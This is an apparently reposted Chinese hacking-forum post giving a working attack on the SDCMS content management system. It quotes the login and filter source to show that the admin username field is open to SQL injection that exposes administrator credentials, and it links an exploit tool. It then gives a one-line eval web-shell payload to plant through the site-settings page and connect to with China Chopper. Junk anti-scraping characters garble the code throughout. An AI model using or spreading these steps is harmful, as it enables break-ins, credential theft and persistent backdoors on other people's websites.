SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp
/ u0 X! e1 C5 ^1 {% a
1 q# K% B3 R" q+ J7 u- ISub Check
4 w4 a1 r7 D/ t& q    Dim username,password,code,getcode,Rs
1 N7 {9 s: v" j% {$ Q    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
  }% ]) H! Z7 K( e/ A. S: N    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
% y9 R; x' R* [& o2 i8 M    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
& [) O# l) T' C/ i( T/ z2 ~* G5 |            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
3 Q0 i8 G# |1 z. V- \            Add_Cookies "sdcms_id",Rs(0)
( d8 c4 U  `2 `8 G            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
3 K5 N1 R$ x- c" c  ]7 W8 Z2 v2 \            Add_Cookies "sdcms_infolever",Rs(5)
; X  q5 O7 H' C. b8 F            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
) U* k9 l4 {. i            IF Sdcms_DataType Then
) u& r% A; x4 M: ^. Q: y* G; W" E                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
- E, V: i" f; L6 `3 z            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
; n8 p- ], l4 ^            End IF
5 F# t5 }4 d, B) Z6 H9 K" R            Go("sdcms_index.asp")
        End IF
        Rs.Close
$ K( O, c1 k3 ~( y  S. e        Set Rs=Nothing
    End IF
& `" {; z5 q1 ]0 ^* K  j. N- h; KEnd Sub
# Q7 J! Z' J! p9 c& s& `
1 F* n  b# C" B2 v- R7 ]’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
. }: i& w; z* R  `* O' l" m
Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
+ f  k( }5 N7 c  |9 L    t0=Trim(t0)
5 Q# V- f& `' K4 _9 }3 k    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
7 b! T! U) m3 n/ X" }2 C2 V        Case "2"
4 R$ I7 |* T6 E8 W$ D            t0=Replace(t0,Chr(8),"")'回格
9 x/ b# n; N: t8 z8 x6 r/ ^6 X            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
+ w: l  e' W5 r% {8 T4 W            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
# E1 L" T, x* K            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
8 p' K' o# x& W5 Q6 f6 Z            t0=Replace(t0,Chr(33),"")'!
3 j3 q5 ?$ A) c% r. Q; [            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
- j) A- D. v( ]4 g            t0=Replace(t0,Chr(38),"")'&
0 d6 @, }; W* [0 f% \/ @: U            t0=Replace(t0,Chr(39),"")''
4 e7 Z% x) ^5 B5 ]            t0=Replace(t0,Chr(40),"")'(
* e, o2 {0 B6 \) M/ W& Y  ~            t0=Replace(t0,Chr(41),"")')
0 E& y# i8 _  x            t0=Replace(t0,Chr(42),"")'*
7 P; u' @# A) H0 _) V& V2 ~            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
' n/ j$ [7 S# T7 I' g' J            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
0 T9 \4 ^% @: S; t: T8 D5 f            t0=Replace(t0,Chr(92),"")'\
/ y! J5 R$ c: ~# ~            t0=Replace(t0,Chr(93),"")']
7 Z7 F2 P, {: A5 h4 ?            t0=Replace(t0,Chr(94),"")'^
% X9 M" L4 J; s            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
8 O' B* V2 k0 }$ ]            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
        t0=Replace(t0, "&", "&")
, a4 w6 G( ~% \" r! Q$ l( m        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
% U, x% Y* L. `$ D! ]        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
' G0 Y- e- f: d. v8 \, S        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
: e3 s) S; w/ ^. g    FilterText=t0
, [* K+ P2 J/ a8 M! pEnd Function
* T  t5 O0 c) ~$ \& k' n
- }% d8 k1 r& S  O, D, x看到没。直接参数是1 只过滤
$ I5 z6 z. x7 U# t$ d. V; Q4 q3 z                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
- M" |  d. ?! H! x7 y; q' S! q                        t0=Replace(t0,Chr(10),"
& e6 X# ~' _: ^")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
" A$ a0 g$ W5 T! W# T- }" REXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
% v* U" Y/ g/ B+ M  d3 {; e- f/ e
测试:


5 L- Y  ^9 T2 {% F现在输入工具上验证码,然后点OK


9 y5 o/ b  ~& R. g7 _看到我们直接进入后台管理界面了,呵呵!

6 g$ l. P" _) g) o; K% H) l

这样直接进入后台了。。。。
) Y8 j+ Y' w( @- i+ p
4 w9 z' C% s! M0 l# _" o. J  E; {

SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
# P. ?; W' y' Y" _" t


, C0 ?/ F3 q, V: DOK,现在用菜刀连接下!

8 l9 J1 p; G8 ^4 W% B& {4 V5 N
$ `+ U* k, G. ^) B
( R+ c% l8 p: `4 g